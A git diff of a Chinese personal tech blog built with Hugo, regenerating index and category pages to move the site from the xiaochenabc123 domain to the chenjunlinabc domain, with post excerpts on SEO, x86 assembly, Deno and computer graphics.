24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/categories/>Categories</a></div><h1>默认</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单了解SEO</h2></header><div class=entry-content><p>SEO：搜索引擎优化（Search Engine Optimization），是利用搜索引擎的规则来提升网站在该搜索引擎的排名（免费，高回报）
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>默认 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/categories/%E9%BB%98%E8%AE%A4/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/categories/%E9%BB%98%E8%AE%A4/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="默认"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/categories/%E9%BB%98%E8%AE%A4/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="默认"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/categories/>Categories</a></div><h1>默认</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单了解SEO</h2></header><div class=entry-content><p>SEO：搜索引擎优化（Search Engine Optimization），是利用搜索引擎的规则来提升网站在该搜索引擎的排名（免费，高回报）
 robots.txt就是robots协议，用来告诉网络蜘蛛，这个网站什么内容是不应该获取的，那些内容可以获取，例如：淘宝就屏蔽了百度的爬虫
 robots.txt文件应该放在网站根目录下
 允许指定蜘蛛获取，*为通配符
@@ -23,7 +23,7 @@
 注意：如果没有必要就不要单向链接，爬虫跑过去，就不会回来了，一直到找到你的链接，通过该链接回来，所以没有必要不要单向链接
 尽量避免使用iframe标签，搜索引擎不会抓取iframe标签的内容
 重要信息请勿使用js输出，爬虫不会抓取js的内容
-给图片加alt信息，重要信息请放头部，有部分搜索引擎爬虫会限制抓取的长度</p></div><footer class=entry-footer><span title='2021-03-20 11:50:00 +0000 UTC'>2021-03-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解SEO" href=https://xiaochenabc123.github.io/posts/2/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/categories/%E9%BB%98%E8%AE%A4/page/7/>«&nbsp;Prev&nbsp;</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+给图片加alt信息，重要信息请放头部，有部分搜索引擎爬虫会限制抓取的长度</p></div><footer class=entry-footer><span title='2021-03-20 11:50:00 +0000 UTC'>2021-03-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解SEO" href=https://chenjunlinabc.github.io/posts/2/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/categories/%E9%BB%98%E8%AE%A4/page/7/>«&nbsp;Prev&nbsp;</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/index.html b/index.html
index a9b32d55..2357d6f8 100644
--- a/index.html
+++ b/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta name=generator content="Hugo 0.111.3"><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content="Blog,Portfolio,PaperMod"><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/index.xml><link rel=alternate type=application/json href=https://xiaochenabc123.github.io/index.json><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="小陈的个人博客"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="小陈的个人博客"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"Organization","name":"小陈的个人博客","url":"https://xiaochenabc123.github.io/","description":"小陈的个人博客","thumbnailUrl":"https://xiaochenabc123.github.io/favicon.ico","sameAs":["https://github.com/xiaochenabc123","mailto:xiaochenabc123@qq.com"]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span class=active>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class="first-entry home-info"><header class=entry-header><h1>Hallo Word</h1></header><div class=entry-content>chenjunlin & blog</div><footer class=entry-footer><div class=social-icons><a href=https://github.com/xiaochenabc123 target=_blank rel="noopener noreferrer me" title=Github><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M9 19c-5 1.5-5-2.5-7-3m14 6v-3.87a3.37 3.37.0 00-.94-2.61c3.14-.35 6.44-1.54 6.44-7A5.44 5.44.0 0020 4.77 5.07 5.07.0 0019.91 1S18.73.65 16 2.48a13.38 13.38.0 00-7 0C6.27.65 5.09 1 5.09 1A5.07 5.07.0 005 4.77 5.44 5.44.0 003.5 8.55c0 5.42 3.3 6.61 6.44 7A3.37 3.37.0 009 18.13V22"/></svg></a><a href=mailto:xiaochenabc123@qq.com target=_blank rel="noopener noreferrer me" title=Email><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 21" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M4 4h16c1.1.0 2 .9 2 2v12c0 1.1-.9 2-2 2H4c-1.1.0-2-.9-2-2V6c0-1.1.9-2 2-2z"/><polyline points="22,6 12,13 2,6"/></svg></a></div></footer></article><article class=post-entry><header class=entry-header><h2>汇编基础学习笔记</h2></header><div class=entry-content><p>x86架构通用寄存器（32位的x86架构和64位的x86_64架构）
+<!doctype html><html lang=en dir=auto><head><meta name=generator content="Hugo 0.119.0"><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content="Blog,Portfolio,PaperMod"><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/index.xml><link rel=alternate type=application/json href=https://chenjunlinabc.github.io/index.json><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="小陈的个人博客"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="小陈的个人博客"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"Organization","name":"小陈的个人博客","url":"https://chenjunlinabc.github.io/","description":"小陈的个人博客","thumbnailUrl":"https://chenjunlinabc.github.io/favicon.ico","sameAs":["https://github.com/chenjunlinabc","mailto:chenjunlinabc123@foxmail.com"]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span class=active>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class="first-entry home-info"><header class=entry-header><h1>Hallo Word</h1></header><div class=entry-content>chenjunlin & blog</div><footer class=entry-footer><div class=social-icons><a href=https://github.com/chenjunlinabc target=_blank rel="noopener noreferrer me" title=Github><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M9 19c-5 1.5-5-2.5-7-3m14 6v-3.87a3.37 3.37.0 00-.94-2.61c3.14-.35 6.44-1.54 6.44-7A5.44 5.44.0 0020 4.77 5.07 5.07.0 0019.91 1S18.73.65 16 2.48a13.38 13.38.0 00-7 0C6.27.65 5.09 1 5.09 1A5.07 5.07.0 005 4.77 5.44 5.44.0 003.5 8.55c0 5.42 3.3 6.61 6.44 7A3.37 3.37.0 009 18.13V22"/></svg></a><a href=mailto:chenjunlinabc123@foxmail.com target=_blank rel="noopener noreferrer me" title=Email><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 21" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M4 4h16c1.1.0 2 .9 2 2v12c0 1.1-.9 2-2 2H4c-1.1.0-2-.9-2-2V6c0-1.1.9-2 2-2z"/><polyline points="22,6 12,13 2,6"/></svg></a></div></footer></article><article class=post-entry><header class=entry-header><h2>汇编基础学习笔记</h2></header><div class=entry-content><p>x86架构通用寄存器（32位的x86架构和64位的x86_64架构）
 x86_64架构由amd公司推出，因此又叫amd64架构，64位架构是基于32位架构扩展的
 32位架构的x86处理器具备8个32位的通用寄存器，可通过名称来引用这8个寄存器，分别为EAX，ECX，EDX，EBX，ESP，EBP，ESI，EDI
 EAX的低16位可以被单独使用，引用名称叫AX（高位是左边位，低位是右边位），AX又可以被分为高8位的AH和低8位的AL
@@ -50,7 +50,7 @@
 x64架构，在PAE的基础上扩展了页表为4级，而且每个页面的大小是4096字节，高9位是页目录指针表，后9位是页目录指针，再后9位是页目录，然后9位是页表。最后12位是页内偏移量
 虚拟内存
 进程是以内存页面为单位向操作系统申请内存的，现代操作系统中会对申请的内存空间进行记录，并不会马上分配，而是等到该进程真正访问该内存空间是才会分配物理页面并且进行映射，然后恢复中断程序，如果进程访问了没有映射的内存空间，会被操作系统进行page fault处理，操作系统通过page failt handle进行检查内存空间分配记录
-物理空间不够分配时，操作系统可以将少使用的物理页面写入到磁盘交换分区（Swap分区）中，将空出来的页面给需要的进程使用，注意：当在磁盘交换分区中内存页面被访问了，也会触发page fault处理，操作系统通过page failt handle来将磁盘交换分区的内存页面加载回内存中...</p></div><footer class=entry-footer><span title='2022-11-20 11:49:00 +0000 UTC'>2022-11-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 汇编基础学习笔记" href=https://xiaochenabc123.github.io/posts/162/></a></article><article class=post-entry><header class=entry-header><h2>Deno js运行时环境学习笔记</h2></header><div class=entry-content><p>Deno是基于V8引擎，使用Rust构建的JavaScript & TypeScript 运行时环境，天生支持TypeScript，并且有安全模式（默认情况下无法获取网络，文件系统，环境变量等权限，当然也可以开放），Deno的作者是Nodejs之父Ryan Dahl，构建的原因是解决Nodejs的缺陷，例如模块的安全性（Node运行时的权限很高，缺乏模块的安全运行），Deno的模块化选择了ESMoule标准，而且具备浏览器的api，例如window全局变量，支持onload，onunload等事件函数，支持fetch，Web Workers等标准，异步操作返回采用Promise，支持await
+物理空间不够分配时，操作系统可以将少使用的物理页面写入到磁盘交换分区（Swap分区）中，将空出来的页面给需要的进程使用，注意：当在磁盘交换分区中内存页面被访问了，也会触发page fault处理，操作系统通过page failt handle来将磁盘交换分区的内存页面加载回内存中...</p></div><footer class=entry-footer><span title='2022-11-20 11:49:00 +0000 UTC'>2022-11-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 汇编基础学习笔记" href=https://chenjunlinabc.github.io/posts/162/></a></article><article class=post-entry><header class=entry-header><h2>Deno js运行时环境学习笔记</h2></header><div class=entry-content><p>Deno是基于V8引擎，使用Rust构建的JavaScript & TypeScript 运行时环境，天生支持TypeScript，并且有安全模式（默认情况下无法获取网络，文件系统，环境变量等权限，当然也可以开放），Deno的作者是Nodejs之父Ryan Dahl，构建的原因是解决Nodejs的缺陷，例如模块的安全性（Node运行时的权限很高，缺乏模块的安全运行），Deno的模块化选择了ESMoule标准，而且具备浏览器的api，例如window全局变量，支持onload，onunload等事件函数，支持fetch，Web Workers等标准，异步操作返回采用Promise，支持await
 Deno不使用node_modules与package.json的包管理机制，而是采用下载编译的机制，并且存在缓存，模块更新通过更新缓存来完成
 Deno有个特殊的功能，就是可以从网络上导入模块
 安装
@@ -68,11 +68,7 @@
 检查是否安装完成
 deno –version
 第一个例子
-import DFetch from "https://deno.land/x/dfetch/mod.ts"
-DFetch.get("https://xiaochenabc123.test.com").then((response) => {
-console.log(response)
-})
-运行
+import DFetch from "https://deno.land/x/dfetch/mod.ts" DFetch.get("https://xiaochenabc123.test.com").then((response) => { console.log(response) }) 运行
 deno run .\index.ts
 它会向你询问进行网络请求，是否允许，可通过–allow-net默认运行，例如：deno run –allow-net .\index.ts
 第三方库通过https://deno.land/x查找
@@ -87,7 +83,7 @@
 -A 或者 –allow-all 允许全部权限
 VsCode插件deno
 deno内置工具
-安装模块...</p></div><footer class=entry-footer><span title='2022-11-11 07:00:00 +0000 UTC'>2022-11-11</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Deno js运行时环境学习笔记" href=https://xiaochenabc123.github.io/posts/161/></a></article><article class=post-entry><header class=entry-header><h2>计算机图形学学习笔记</h2></header><div class=entry-content><p>计算机图形学(Computer Graphics，CG)是研究图形表达，生成，处理与显示的学科
+安装模块...</p></div><footer class=entry-footer><span title='2022-11-11 07:00:00 +0000 UTC'>2022-11-11</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Deno js运行时环境学习笔记" href=https://chenjunlinabc.github.io/posts/161/></a></article><article class=post-entry><header class=entry-header><h2>计算机图形学学习笔记</h2></header><div class=entry-content><p>计算机图形学(Computer Graphics，CG)是研究图形表达，生成，处理与显示的学科
 通过数学算法将二维，三维图形转换成计算机显示器的栅格，例如向量，行列式，矩阵算法等等
 图形学历史
 1950年，MIT诞生第一个图形显示器（用于Whirlwind（旋风）电子管计算机显示图形），CRT显示器
@@ -108,7 +104,7 @@
 1996年，Krishnamurthy与Levoy提出法线贴图（Normal Mapping）
 1995年，Directx 1.0
 1997年，OpenGL 1.1
